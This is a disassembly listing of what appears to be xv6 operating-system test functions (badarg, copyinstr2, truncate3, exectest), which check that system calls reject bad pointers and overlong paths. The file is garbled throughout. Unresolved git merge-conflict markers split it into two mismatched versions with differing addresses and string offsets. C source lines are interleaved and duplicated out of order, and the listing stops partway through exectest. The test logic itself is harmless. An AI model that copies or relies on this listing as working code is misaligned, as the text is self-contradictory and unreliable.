10e0: ec4e sd s3,24(sp)
10e2: 0080 addi s0,sp,64
10e4: 64b1 lui s1,0xc
<<<<<<< HEAD
10e6: 35048493 addi s1,s1,848 # c350 <buf+0x940>
10ea: 597d li s2,-1
10ec: 02095913 srli s2,s2,0x20
10f0: 00005997 auipc s3,0x5
10f4: cc898993 addi s3,s3,-824 # 5db8 <l_free+0x350>
10f8: fd243023 sd s2,-64(s0)
10fc: fc043423 sd zero,-56(s0)
=======
10e6: 35048493 addi s1,s1,848 # c350 <buf+0x998>
for (int i = 0; i < 50000; i++) {
char *argv[2];
argv[0] = (char *)0xffffffff;
10ea: 597d li s2,-1
10ec: 02095913 srli s2,s2,0x20
argv[1] = 0;
exec("echo", argv);
10f0: 00005997 auipc s3,0x5
10f4: cc898993 addi s3,s3,-824 # 5db8 <l_free+0x352>
argv[0] = (char *)0xffffffff;
10f8: fd243023 sd s2,-64(s0)
argv[1] = 0;
10fc: fc043423 sd zero,-56(s0)
exec("echo", argv);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1100: fc040593 addi a1,s0,-64
1104: 854e mv a0,s3
1106: 00004097 auipc ra,0x4
110a: 3fe080e7 jalr 1022(ra) # 5504 <exec>
<<<<<<< HEAD
110e: 34fd addiw s1,s1,-1
1110: f4e5 bnez s1,10f8 <badarg+0x22>
=======
for (int i = 0; i < 50000; i++) {
110e: 34fd addiw s1,s1,-1
1110: f4e5 bnez s1,10f8 <badarg+0x22>
}
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1112: 4501 li a0,0
1114: 00004097 auipc ra,0x4
1118: 3b8080e7 jalr 952(ra) # 54cc <exit>
000000000000111c <copyinstr2>:
<<<<<<< HEAD
=======
void copyinstr2(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
111c: 7155 addi sp,sp,-208
111e: e586 sd ra,200(sp)
1120: e1a2 sd s0,192(sp)
1122: 0980 addi s0,sp,208
<<<<<<< HEAD
1124: f6840793 addi a5,s0,-152
1128: fe840693 addi a3,s0,-24
112c: 07800713 li a4,120
1130: 00e78023 sb a4,0(a5)
1134: 0785 addi a5,a5,1
1136: fed79de3 bne a5,a3,1130 <copyinstr2+0x14>
113a: fe040423 sb zero,-24(s0)
113e: f6840513 addi a0,s0,-152
1142: 00004097 auipc ra,0x4
1146: 3da080e7 jalr 986(ra) # 551c <unlink>
114a: 57fd li a5,-1
114c: 0ef51063 bne a0,a5,122c <copyinstr2+0x110>
=======
for (int i = 0; i < MAXPATH; i++)
1124: f6840793 addi a5,s0,-152
1128: fe840693 addi a3,s0,-24
b[i] = 'x';
112c: 07800713 li a4,120
1130: 00e78023 sb a4,0(a5)
for (int i = 0; i < MAXPATH; i++)
1134: 0785 addi a5,a5,1
1136: fed79de3 bne a5,a3,1130 <copyinstr2+0x14>
b[MAXPATH] = '\0';
113a: fe040423 sb zero,-24(s0)
int ret = unlink(b);
113e: f6840513 addi a0,s0,-152
1142: 00004097 auipc ra,0x4
1146: 3da080e7 jalr 986(ra) # 551c <unlink>
if (ret != -1) {
114a: 57fd li a5,-1
114c: 0ef51063 bne a0,a5,122c <copyinstr2+0x110>
int fd = open(b, O_CREATE | O_WRONLY);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1150: 20100593 li a1,513
1154: f6840513 addi a0,s0,-152
1158: 00004097 auipc ra,0x4
115c: 3b4080e7 jalr 948(ra) # 550c <open>
<<<<<<< HEAD
1160: 57fd li a5,-1
1162: 0ef51563 bne a0,a5,124c <copyinstr2+0x130>
=======
if (fd != -1) {
1160: 57fd li a5,-1
1162: 0ef51563 bne a0,a5,124c <copyinstr2+0x130>
ret = link(b, b);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1166: f6840593 addi a1,s0,-152
116a: 852e mv a0,a1
116c: 00004097 auipc ra,0x4
1170: 3c0080e7 jalr 960(ra) # 552c <link>
<<<<<<< HEAD
1174: 57fd li a5,-1
1176: 0ef51b63 bne a0,a5,126c <copyinstr2+0x150>
117a: 00006797 auipc a5,0x6
117e: 37e78793 addi a5,a5,894 # 74f8 <l_free+0x1a90>
1182: f4f43c23 sd a5,-168(s0)
1186: f6043023 sd zero,-160(s0)
=======
if (ret != -1) {
1174: 57fd li a5,-1
1176: 0ef51b63 bne a0,a5,126c <copyinstr2+0x150>
char *args[] = {"xx", 0};
117a: 00006797 auipc a5,0x6
117e: 37e78793 addi a5,a5,894 # 74f8 <l_free+0x1a92>
1182: f4f43c23 sd a5,-168(s0)
1186: f6043023 sd zero,-160(s0)
ret = exec(b, args);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
118a: f5840593 addi a1,s0,-168
118e: f6840513 addi a0,s0,-152
1192: 00004097 auipc ra,0x4
1196: 372080e7 jalr 882(ra) # 5504 <exec>
<<<<<<< HEAD
119a: 57fd li a5,-1
119c: 0ef51963 bne a0,a5,128e <copyinstr2+0x172>
11a0: 00004097 auipc ra,0x4
11a4: 324080e7 jalr 804(ra) # 54c4 <fork>
11a8: 10054363 bltz a0,12ae <copyinstr2+0x192>
11ac: 12051463 bnez a0,12d4 <copyinstr2+0x1b8>
11b0: 00007797 auipc a5,0x7
11b4: 14878793 addi a5,a5,328 # 82f8 <big.0>
11b8: 00008697 auipc a3,0x8
11bc: 14068693 addi a3,a3,320 # 92f8 <__global_pointer$+0x930>
11c0: 07800713 li a4,120
11c4: 00e78023 sb a4,0(a5)
11c8: 0785 addi a5,a5,1
11ca: fed79de3 bne a5,a3,11c4 <copyinstr2+0xa8>
11ce: 00008797 auipc a5,0x8
11d2: 12078523 sb zero,298(a5) # 92f8 <__global_pointer$+0x930>
11d6: 00007797 auipc a5,0x7
11da: bca78793 addi a5,a5,-1078 # 7da0 <l_free+0x2338>
=======
if (ret != -1) {
119a: 57fd li a5,-1
119c: 0ef51963 bne a0,a5,128e <copyinstr2+0x172>
int pid = fork();
11a0: 00004097 auipc ra,0x4
11a4: 324080e7 jalr 804(ra) # 54c4 <fork>
if (pid < 0) {
11a8: 10054363 bltz a0,12ae <copyinstr2+0x192>
if (pid == 0) {
11ac: 12051463 bnez a0,12d4 <copyinstr2+0x1b8>
11b0: 00007797 auipc a5,0x7
11b4: 0f078793 addi a5,a5,240 # 82a0 <big.0>
11b8: 00008697 auipc a3,0x8
11bc: 0e868693 addi a3,a3,232 # 92a0 <__global_pointer$+0x930>
big[i] = 'x';
11c0: 07800713 li a4,120
11c4: 00e78023 sb a4,0(a5)
for (int i = 0; i < PGSIZE; i++)
11c8: 0785 addi a5,a5,1
11ca: fed79de3 bne a5,a3,11c4 <copyinstr2+0xa8>
big[PGSIZE] = '\0';
11ce: 00008797 auipc a5,0x8
11d2: 0c078923 sb zero,210(a5) # 92a0 <__global_pointer$+0x930>
char *args2[] = {big, big, big, 0};
11d6: 00007797 auipc a5,0x7
11da: bca78793 addi a5,a5,-1078 # 7da0 <l_free+0x233a>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
11de: 6390 ld a2,0(a5)
11e0: 6794 ld a3,8(a5)
11e2: 6b98 ld a4,16(a5)
11e4: 6f9c ld a5,24(a5)
11e6: f2c43823 sd a2,-208(s0)
11ea: f2d43c23 sd a3,-200(s0)
11ee: f4e43023 sd a4,-192(s0)
11f2: f4f43423 sd a5,-184(s0)
<<<<<<< HEAD
11f6: f3040593 addi a1,s0,-208
11fa: 00005517 auipc a0,0x5
11fe: bbe50513 addi a0,a0,-1090 # 5db8 <l_free+0x350>
1202: 00004097 auipc ra,0x4
1206: 302080e7 jalr 770(ra) # 5504 <exec>
120a: 57fd li a5,-1
120c: 0af50e63 beq a0,a5,12c8 <copyinstr2+0x1ac>
1210: 55fd li a1,-1
1212: 00005517 auipc a0,0x5
1216: 2c650513 addi a0,a0,710 # 64d8 <l_free+0xa70>
121a: 00004097 auipc ra,0x4
121e: 62c080e7 jalr 1580(ra) # 5846 <printf>
1222: 4505 li a0,1
1224: 00004097 auipc ra,0x4
1228: 2a8080e7 jalr 680(ra) # 54cc <exit>
122c: 862a mv a2,a0
122e: f6840593 addi a1,s0,-152
1232: 00005517 auipc a0,0x5
1236: 21e50513 addi a0,a0,542 # 6450 <l_free+0x9e8>
123a: 00004097 auipc ra,0x4
123e: 60c080e7 jalr 1548(ra) # 5846 <printf>
1242: 4505 li a0,1
1244: 00004097 auipc ra,0x4
1248: 288080e7 jalr 648(ra) # 54cc <exit>
124c: 862a mv a2,a0
124e: f6840593 addi a1,s0,-152
1252: 00005517 auipc a0,0x5
1256: 21e50513 addi a0,a0,542 # 6470 <l_free+0xa08>
125a: 00004097 auipc ra,0x4
125e: 5ec080e7 jalr 1516(ra) # 5846 <printf>
1262: 4505 li a0,1
1264: 00004097 auipc ra,0x4
1268: 268080e7 jalr 616(ra) # 54cc <exit>
=======
ret = exec("echo", args2);
11f6: f3040593 addi a1,s0,-208
11fa: 00005517 auipc a0,0x5
11fe: bbe50513 addi a0,a0,-1090 # 5db8 <l_free+0x352>
1202: 00004097 auipc ra,0x4
1206: 302080e7 jalr 770(ra) # 5504 <exec>
if (ret != -1) {
120a: 57fd li a5,-1
120c: 0af50e63 beq a0,a5,12c8 <copyinstr2+0x1ac>
printf("exec(echo, BIG) returned %d, not -1\n", fd);
1210: 55fd li a1,-1
1212: 00005517 auipc a0,0x5
1216: 2c650513 addi a0,a0,710 # 64d8 <l_free+0xa72>
121a: 00004097 auipc ra,0x4
121e: 62a080e7 jalr 1578(ra) # 5844 <printf>
exit(1);
1222: 4505 li a0,1
1224: 00004097 auipc ra,0x4
1228: 2a8080e7 jalr 680(ra) # 54cc <exit>
printf("unlink(%s) returned %d, not -1\n", b, ret);
122c: 862a mv a2,a0
122e: f6840593 addi a1,s0,-152
1232: 00005517 auipc a0,0x5
1236: 21e50513 addi a0,a0,542 # 6450 <l_free+0x9ea>
123a: 00004097 auipc ra,0x4
123e: 60a080e7 jalr 1546(ra) # 5844 <printf>
exit(1);
1242: 4505 li a0,1
1244: 00004097 auipc ra,0x4
1248: 288080e7 jalr 648(ra) # 54cc <exit>
printf("open(%s) returned %d, not -1\n", b, fd);
124c: 862a mv a2,a0
124e: f6840593 addi a1,s0,-152
1252: 00005517 auipc a0,0x5
1256: 21e50513 addi a0,a0,542 # 6470 <l_free+0xa0a>
125a: 00004097 auipc ra,0x4
125e: 5ea080e7 jalr 1514(ra) # 5844 <printf>
exit(1);
1262: 4505 li a0,1
1264: 00004097 auipc ra,0x4
1268: 268080e7 jalr 616(ra) # 54cc <exit>
printf("link(%s, %s) returned %d, not -1\n", b, b, ret);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
126c: 86aa mv a3,a0
126e: f6840613 addi a2,s0,-152
1272: 85b2 mv a1,a2
1274: 00005517 auipc a0,0x5
<<<<<<< HEAD
1278: 21c50513 addi a0,a0,540 # 6490 <l_free+0xa28>
127c: 00004097 auipc ra,0x4
1280: 5ca080e7 jalr 1482(ra) # 5846 <printf>
1284: 4505 li a0,1
1286: 00004097 auipc ra,0x4
128a: 246080e7 jalr 582(ra) # 54cc <exit>
128e: 567d li a2,-1
1290: f6840593 addi a1,s0,-152
1294: 00005517 auipc a0,0x5
1298: 22450513 addi a0,a0,548 # 64b8 <l_free+0xa50>
129c: 00004097 auipc ra,0x4
12a0: 5aa080e7 jalr 1450(ra) # 5846 <printf>
12a4: 4505 li a0,1
12a6: 00004097 auipc ra,0x4
12aa: 226080e7 jalr 550(ra) # 54cc <exit>
12ae: 00005517 auipc a0,0x5
12b2: 67250513 addi a0,a0,1650 # 6920 <l_free+0xeb8>
12b6: 00004097 auipc ra,0x4
12ba: 590080e7 jalr 1424(ra) # 5846 <printf>
12be: 4505 li a0,1
12c0: 00004097 auipc ra,0x4
12c4: 20c080e7 jalr 524(ra) # 54cc <exit>
12c8: 2eb00513 li a0,747
12cc: 00004097 auipc ra,0x4
12d0: 200080e7 jalr 512(ra) # 54cc <exit>
12d4: f4042a23 sw zero,-172(s0)
12d8: f5440513 addi a0,s0,-172
12dc: 00004097 auipc ra,0x4
12e0: 1f8080e7 jalr 504(ra) # 54d4 <wait>
12e4: f5442703 lw a4,-172(s0)
12e8: 2eb00793 li a5,747
12ec: 00f71663 bne a4,a5,12f8 <copyinstr2+0x1dc>
=======
1278: 21c50513 addi a0,a0,540 # 6490 <l_free+0xa2a>
127c: 00004097 auipc ra,0x4
1280: 5c8080e7 jalr 1480(ra) # 5844 <printf>
exit(1);
1284: 4505 li a0,1
1286: 00004097 auipc ra,0x4
128a: 246080e7 jalr 582(ra) # 54cc <exit>
printf("exec(%s) returned %d, not -1\n", b, fd);
128e: 567d li a2,-1
1290: f6840593 addi a1,s0,-152
1294: 00005517 auipc a0,0x5
1298: 22450513 addi a0,a0,548 # 64b8 <l_free+0xa52>
129c: 00004097 auipc ra,0x4
12a0: 5a8080e7 jalr 1448(ra) # 5844 <printf>
exit(1);
12a4: 4505 li a0,1
12a6: 00004097 auipc ra,0x4
12aa: 226080e7 jalr 550(ra) # 54cc <exit>
printf("fork failed\n");
12ae: 00005517 auipc a0,0x5
12b2: 67250513 addi a0,a0,1650 # 6920 <l_free+0xeba>
12b6: 00004097 auipc ra,0x4
12ba: 58e080e7 jalr 1422(ra) # 5844 <printf>
exit(1);
12be: 4505 li a0,1
12c0: 00004097 auipc ra,0x4
12c4: 20c080e7 jalr 524(ra) # 54cc <exit>
exit(747); // OK
12c8: 2eb00513 li a0,747
12cc: 00004097 auipc ra,0x4
12d0: 200080e7 jalr 512(ra) # 54cc <exit>
int st = 0;
12d4: f4042a23 sw zero,-172(s0)
wait(&st);
12d8: f5440513 addi a0,s0,-172
12dc: 00004097 auipc ra,0x4
12e0: 1f8080e7 jalr 504(ra) # 54d4 <wait>
if (st != 747) {
12e4: f5442703 lw a4,-172(s0)
12e8: 2eb00793 li a5,747
12ec: 00f71663 bne a4,a5,12f8 <copyinstr2+0x1dc>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
12f0: 60ae ld ra,200(sp)
12f2: 640e ld s0,192(sp)
12f4: 6169 addi sp,sp,208
12f6: 8082 ret
<<<<<<< HEAD
12f8: 00005517 auipc a0,0x5
12fc: 20850513 addi a0,a0,520 # 6500 <l_free+0xa98>
1300: 00004097 auipc ra,0x4
1304: 546080e7 jalr 1350(ra) # 5846 <printf>
=======
printf("exec(echo, BIG) succeeded, should have failed\n");
12f8: 00005517 auipc a0,0x5
12fc: 20850513 addi a0,a0,520 # 6500 <l_free+0xa9a>
1300: 00004097 auipc ra,0x4
1304: 544080e7 jalr 1348(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1308: 4505 li a0,1
130a: 00004097 auipc ra,0x4
130e: 1c2080e7 jalr 450(ra) # 54cc <exit>
0000000000001312 <truncate3>:
<<<<<<< HEAD
=======
void truncate3(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1312: 7159 addi sp,sp,-112
1314: f486 sd ra,104(sp)
1316: f0a2 sd s0,96(sp)
1318: eca6 sd s1,88(sp)
131a: e8ca sd s2,80(sp)
131c: e4ce sd s3,72(sp)
131e: e0d2 sd s4,64(sp)
1320: fc56 sd s5,56(sp)
1322: 1880 addi s0,sp,112
1324: 892a mv s2,a0
<<<<<<< HEAD
1326: 60100593 li a1,1537
132a: 00005517 auipc a0,0x5
132e: ae650513 addi a0,a0,-1306 # 5e10 <l_free+0x3a8>
=======
close(open("truncfile", O_CREATE | O_TRUNC | O_WRONLY));
1326: 60100593 li a1,1537
132a: 00005517 auipc a0,0x5
132e: ae650513 addi a0,a0,-1306 # 5e10 <l_free+0x3aa>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1332: 00004097 auipc ra,0x4
1336: 1da080e7 jalr 474(ra) # 550c <open>
133a: 00004097 auipc ra,0x4
133e: 1ba080e7 jalr 442(ra) # 54f4 <close>
<<<<<<< HEAD
1342: 00004097 auipc ra,0x4
1346: 182080e7 jalr 386(ra) # 54c4 <fork>
134a: 08054063 bltz a0,13ca <truncate3+0xb8>
134e: e969 bnez a0,1420 <truncate3+0x10e>
1350: 06400993 li s3,100
1354: 00005a17 auipc s4,0x5
1358: abca0a13 addi s4,s4,-1348 # 5e10 <l_free+0x3a8>
135c: 00005a97 auipc s5,0x5
1360: 204a8a93 addi s5,s5,516 # 6560 <l_free+0xaf8>
=======
pid = fork();
1342: 00004097 auipc ra,0x4
1346: 182080e7 jalr 386(ra) # 54c4 <fork>
if (pid < 0) {
134a: 08054063 bltz a0,13ca <truncate3+0xb8>
if (pid == 0) {
134e: e969 bnez a0,1420 <truncate3+0x10e>
1350: 06400993 li s3,100
int fd = open("truncfile", O_WRONLY);
1354: 00005a17 auipc s4,0x5
1358: abca0a13 addi s4,s4,-1348 # 5e10 <l_free+0x3aa>
int n = write(fd, "1234567890", 10);
135c: 00005a97 auipc s5,0x5
1360: 204a8a93 addi s5,s5,516 # 6560 <l_free+0xafa>
int fd = open("truncfile", O_WRONLY);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1364: 4585 li a1,1
1366: 8552 mv a0,s4
1368: 00004097 auipc ra,0x4
136c: 1a4080e7 jalr 420(ra) # 550c <open>
1370: 84aa mv s1,a0
<<<<<<< HEAD
1372: 06054a63 bltz a0,13e6 <truncate3+0xd4>
=======
if (fd < 0) {
1372: 06054a63 bltz a0,13e6 <truncate3+0xd4>
int n = write(fd, "1234567890", 10);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1376: 4629 li a2,10
1378: 85d6 mv a1,s5
137a: 00004097 auipc ra,0x4
137e: 172080e7 jalr 370(ra) # 54ec <write>
<<<<<<< HEAD
1382: 47a9 li a5,10
1384: 06f51f63 bne a0,a5,1402 <truncate3+0xf0>
1388: 8526 mv a0,s1
138a: 00004097 auipc ra,0x4
138e: 16a080e7 jalr 362(ra) # 54f4 <close>
=======
if (n != 10) {
1382: 47a9 li a5,10
1384: 06f51f63 bne a0,a5,1402 <truncate3+0xf0>
close(fd);
1388: 8526 mv a0,s1
138a: 00004097 auipc ra,0x4
138e: 16a080e7 jalr 362(ra) # 54f4 <close>
fd = open("truncfile", O_RDONLY);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1392: 4581 li a1,0
1394: 8552 mv a0,s4
1396: 00004097 auipc ra,0x4
139a: 176080e7 jalr 374(ra) # 550c <open>
139e: 84aa mv s1,a0
<<<<<<< HEAD
=======
read(fd, buf, sizeof(buf));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
13a0: 02000613 li a2,32
13a4: f9840593 addi a1,s0,-104
13a8: 00004097 auipc ra,0x4
13ac: 13c080e7 jalr 316(ra) # 54e4 <read>
<<<<<<< HEAD
13b0: 8526 mv a0,s1
13b2: 00004097 auipc ra,0x4
13b6: 142080e7 jalr 322(ra) # 54f4 <close>
13ba: 39fd addiw s3,s3,-1
13bc: fa0994e3 bnez s3,1364 <truncate3+0x52>
13c0: 4501 li a0,0
13c2: 00004097 auipc ra,0x4
13c6: 10a080e7 jalr 266(ra) # 54cc <exit>
13ca: 85ca mv a1,s2
13cc: 00005517 auipc a0,0x5
13d0: 16450513 addi a0,a0,356 # 6530 <l_free+0xac8>
13d4: 00004097 auipc ra,0x4
13d8: 472080e7 jalr 1138(ra) # 5846 <printf>
13dc: 4505 li a0,1
13de: 00004097 auipc ra,0x4
13e2: 0ee080e7 jalr 238(ra) # 54cc <exit>
13e6: 85ca mv a1,s2
13e8: 00005517 auipc a0,0x5
13ec: 16050513 addi a0,a0,352 # 6548 <l_free+0xae0>
13f0: 00004097 auipc ra,0x4
13f4: 456080e7 jalr 1110(ra) # 5846 <printf>
13f8: 4505 li a0,1
13fa: 00004097 auipc ra,0x4
13fe: 0d2080e7 jalr 210(ra) # 54cc <exit>
1402: 862a mv a2,a0
1404: 85ca mv a1,s2
1406: 00005517 auipc a0,0x5
140a: 16a50513 addi a0,a0,362 # 6570 <l_free+0xb08>
140e: 00004097 auipc ra,0x4
1412: 438080e7 jalr 1080(ra) # 5846 <printf>
=======
close(fd);
13b0: 8526 mv a0,s1
13b2: 00004097 auipc ra,0x4
13b6: 142080e7 jalr 322(ra) # 54f4 <close>
for (int i = 0; i < 100; i++) {
13ba: 39fd addiw s3,s3,-1
13bc: fa0994e3 bnez s3,1364 <truncate3+0x52>
exit(0);
13c0: 4501 li a0,0
13c2: 00004097 auipc ra,0x4
13c6: 10a080e7 jalr 266(ra) # 54cc <exit>
printf("%s: fork failed\n", s);
13ca: 85ca mv a1,s2
13cc: 00005517 auipc a0,0x5
13d0: 16450513 addi a0,a0,356 # 6530 <l_free+0xaca>
13d4: 00004097 auipc ra,0x4
13d8: 470080e7 jalr 1136(ra) # 5844 <printf>
exit(1);
13dc: 4505 li a0,1
13de: 00004097 auipc ra,0x4
13e2: 0ee080e7 jalr 238(ra) # 54cc <exit>
printf("%s: open failed\n", s);
13e6: 85ca mv a1,s2
13e8: 00005517 auipc a0,0x5
13ec: 16050513 addi a0,a0,352 # 6548 <l_free+0xae2>
13f0: 00004097 auipc ra,0x4
13f4: 454080e7 jalr 1108(ra) # 5844 <printf>
exit(1);
13f8: 4505 li a0,1
13fa: 00004097 auipc ra,0x4
13fe: 0d2080e7 jalr 210(ra) # 54cc <exit>
printf("%s: write got %d, expected 10\n", s, n);
1402: 862a mv a2,a0
1404: 85ca mv a1,s2
1406: 00005517 auipc a0,0x5
140a: 16a50513 addi a0,a0,362 # 6570 <l_free+0xb0a>
140e: 00004097 auipc ra,0x4
1412: 436080e7 jalr 1078(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1416: 4505 li a0,1
1418: 00004097 auipc ra,0x4
141c: 0b4080e7 jalr 180(ra) # 54cc <exit>
1420: 09600993 li s3,150
<<<<<<< HEAD
1424: 00005a17 auipc s4,0x5
1428: 9eca0a13 addi s4,s4,-1556 # 5e10 <l_free+0x3a8>
142c: 00005a97 auipc s5,0x5
1430: 164a8a93 addi s5,s5,356 # 6590 <l_free+0xb28>
=======
int fd = open("truncfile", O_CREATE | O_WRONLY | O_TRUNC);
1424: 00005a17 auipc s4,0x5
1428: 9eca0a13 addi s4,s4,-1556 # 5e10 <l_free+0x3aa>
int n = write(fd, "xxx", 3);
142c: 00005a97 auipc s5,0x5
1430: 164a8a93 addi s5,s5,356 # 6590 <l_free+0xb2a>
int fd = open("truncfile", O_CREATE | O_WRONLY | O_TRUNC);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1434: 60100593 li a1,1537
1438: 8552 mv a0,s4
143a: 00004097 auipc ra,0x4
143e: 0d2080e7 jalr 210(ra) # 550c <open>
1442: 84aa mv s1,a0
<<<<<<< HEAD
1444: 04054763 bltz a0,1492 <truncate3+0x180>
=======
if (fd < 0) {
1444: 04054763 bltz a0,1492 <truncate3+0x180>
int n = write(fd, "xxx", 3);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1448: 460d li a2,3
144a: 85d6 mv a1,s5
144c: 00004097 auipc ra,0x4
1450: 0a0080e7 jalr 160(ra) # 54ec <write>
<<<<<<< HEAD
1454: 478d li a5,3
1456: 04f51c63 bne a0,a5,14ae <truncate3+0x19c>
145a: 8526 mv a0,s1
145c: 00004097 auipc ra,0x4
1460: 098080e7 jalr 152(ra) # 54f4 <close>
1464: 39fd addiw s3,s3,-1
1466: fc0997e3 bnez s3,1434 <truncate3+0x122>
146a: fbc40513 addi a0,s0,-68
146e: 00004097 auipc ra,0x4
1472: 066080e7 jalr 102(ra) # 54d4 <wait>
1476: 00005517 auipc a0,0x5
147a: 99a50513 addi a0,a0,-1638 # 5e10 <l_free+0x3a8>
147e: 00004097 auipc ra,0x4
1482: 09e080e7 jalr 158(ra) # 551c <unlink>
1486: fbc42503 lw a0,-68(s0)
148a: 00004097 auipc ra,0x4
148e: 042080e7 jalr 66(ra) # 54cc <exit>
1492: 85ca mv a1,s2
1494: 00005517 auipc a0,0x5
1498: 0b450513 addi a0,a0,180 # 6548 <l_free+0xae0>
149c: 00004097 auipc ra,0x4
14a0: 3aa080e7 jalr 938(ra) # 5846 <printf>
14a4: 4505 li a0,1
14a6: 00004097 auipc ra,0x4
14aa: 026080e7 jalr 38(ra) # 54cc <exit>
14ae: 862a mv a2,a0
14b0: 85ca mv a1,s2
14b2: 00005517 auipc a0,0x5
14b6: 0e650513 addi a0,a0,230 # 6598 <l_free+0xb30>
14ba: 00004097 auipc ra,0x4
14be: 38c080e7 jalr 908(ra) # 5846 <printf>
=======
if (n != 3) {
1454: 478d li a5,3
1456: 04f51c63 bne a0,a5,14ae <truncate3+0x19c>
close(fd);
145a: 8526 mv a0,s1
145c: 00004097 auipc ra,0x4
1460: 098080e7 jalr 152(ra) # 54f4 <close>
for (int i = 0; i < 150; i++) {
1464: 39fd addiw s3,s3,-1
1466: fc0997e3 bnez s3,1434 <truncate3+0x122>
wait(&xstatus);
146a: fbc40513 addi a0,s0,-68
146e: 00004097 auipc ra,0x4
1472: 066080e7 jalr 102(ra) # 54d4 <wait>
unlink("truncfile");
1476: 00005517 auipc a0,0x5
147a: 99a50513 addi a0,a0,-1638 # 5e10 <l_free+0x3aa>
147e: 00004097 auipc ra,0x4
1482: 09e080e7 jalr 158(ra) # 551c <unlink>
exit(xstatus);
1486: fbc42503 lw a0,-68(s0)
148a: 00004097 auipc ra,0x4
148e: 042080e7 jalr 66(ra) # 54cc <exit>
printf("%s: open failed\n", s);
1492: 85ca mv a1,s2
1494: 00005517 auipc a0,0x5
1498: 0b450513 addi a0,a0,180 # 6548 <l_free+0xae2>
149c: 00004097 auipc ra,0x4
14a0: 3a8080e7 jalr 936(ra) # 5844 <printf>
exit(1);
14a4: 4505 li a0,1
14a6: 00004097 auipc ra,0x4
14aa: 026080e7 jalr 38(ra) # 54cc <exit>
printf("%s: write got %d, expected 3\n", s, n);
14ae: 862a mv a2,a0
14b0: 85ca mv a1,s2
14b2: 00005517 auipc a0,0x5
14b6: 0e650513 addi a0,a0,230 # 6598 <l_free+0xb32>
14ba: 00004097 auipc ra,0x4
14be: 38a080e7 jalr 906(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
14c2: 4505 li a0,1
14c4: 00004097 auipc ra,0x4
14c8: 008080e7 jalr 8(ra) # 54cc <exit>
00000000000014cc <exectest>:
<<<<<<< HEAD
=======
void exectest(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
14cc: 715d addi sp,sp,-80
14ce: e486 sd ra,72(sp)
14d0: e0a2 sd s0,64(sp)
14d2: fc26 sd s1,56(sp)
14d4: f84a sd s2,48(sp)
14d6: 0880 addi s0,sp,80
14d8: 892a mv s2,a0
<<<<<<< HEAD
14da: 00005797 auipc a5,0x5
14de: 8de78793 addi a5,a5,-1826 # 5db8 <l_free+0x350>
14e2: fcf43023 sd a5,-64(s0)
14e6: 00005797 auipc a5,0x5
14ea: 0d278793 addi a5,a5,210 # 65b8 <l_free+0xb50>
14ee: fcf43423 sd a5,-56(s0)
14f2: fc043823 sd zero,-48(s0)
14f6: 00005517 auipc a0,0x5
14fa: 0ca50513 addi a0,a0,202 # 65c0 <l_free+0xb58>
14fe: 00004097 auipc ra,0x4
1502: 01e080e7 jalr 30(ra) # 551c <unlink>
1506: 00004097 auipc ra,0x4
150a: fbe080e7 jalr -66(ra) # 54c4 <fork>
150e: 04054663 bltz a0,155a <exectest+0x8e>
1512: 84aa mv s1,a0
1514: e959 bnez a0,15aa <exectest+0xde>
1516: 4505 li a0,1
1518: 00004097 auipc ra,0x4
151c: fdc080e7 jalr -36(ra) # 54f4 <close>
1520: 20100593 li a1,513
1524: 00005517 auipc a0,0x5
1528: 09c50513 addi a0,a0,156 # 65c0 <l_free+0xb58>
152c: 00004097 auipc ra,0x4
1530: fe0080e7 jalr -32(ra) # 550c <open>
1534: 04054163 bltz a0,1576 <exectest+0xaa>
1538: 4785 li a5,1
153a: 04f50c63 beq a0,a5,1592 <exectest+0xc6>
153e: 85ca mv a1,s2
1540: 00005517 auipc a0,0x5
1544: 0a050513 addi a0,a0,160 # 65e0 <l_free+0xb78>
1548: 00004097 auipc ra,0x4
154c: 2fe080e7 jalr 766(ra) # 5846 <printf>
1550: 4505 li a0,1
1552: 00004097 auipc ra,0x4
1556: f7a080e7 jalr -134(ra) # 54cc <exit>
155a: 85ca mv a1,s2
155c: 00005517 auipc a0,0x5
1560: fd450513 addi a0,a0,-44 # 6530 <l_free+0xac8>
1564: 00004097 auipc ra,0x4
1568: 2e2080e7 jalr 738(ra) # 5846 <printf>
156c: 4505 li a0,1
156e: 00004097 auipc ra,0x4
1572: f5e080e7 jalr -162(ra) # 54cc <exit>
1576: 85ca mv a1,s2
1578: 00005517 auipc a0,0x5
157c: 05050513 addi a0,a0,80 # 65c8 <l_free+0xb60>
1580: 00004097 auipc ra,0x4
1584: 2c6080e7 jalr 710(ra) # 5846 <printf>
1588: 4505 li a0,1
158a: 00004097 auipc ra,0x4
158e: f42080e7 jalr -190(ra) # 54cc <exit>
1592: fc040593 addi a1,s0,-64
1596: 00005517 auipc a0,0x5
159a: 82250513 addi a0,a0,-2014 # 5db8 <l_free+0x350>
159e: 00004097 auipc ra,0x4
15a2: f66080e7 jalr -154(ra) # 5504 <exec>
15a6: 02054163 bltz a0,15c8 <exectest+0xfc>
=======
char *echoargv[] = {"echo", "OK", 0};
14da: 00005797 auipc a5,0x5
14de: 8de78793 addi a5,a5,-1826 # 5db8 <l_free+0x352>
14e2: fcf43023 sd a5,-64(s0)
14e6: 00005797 auipc a5,0x5
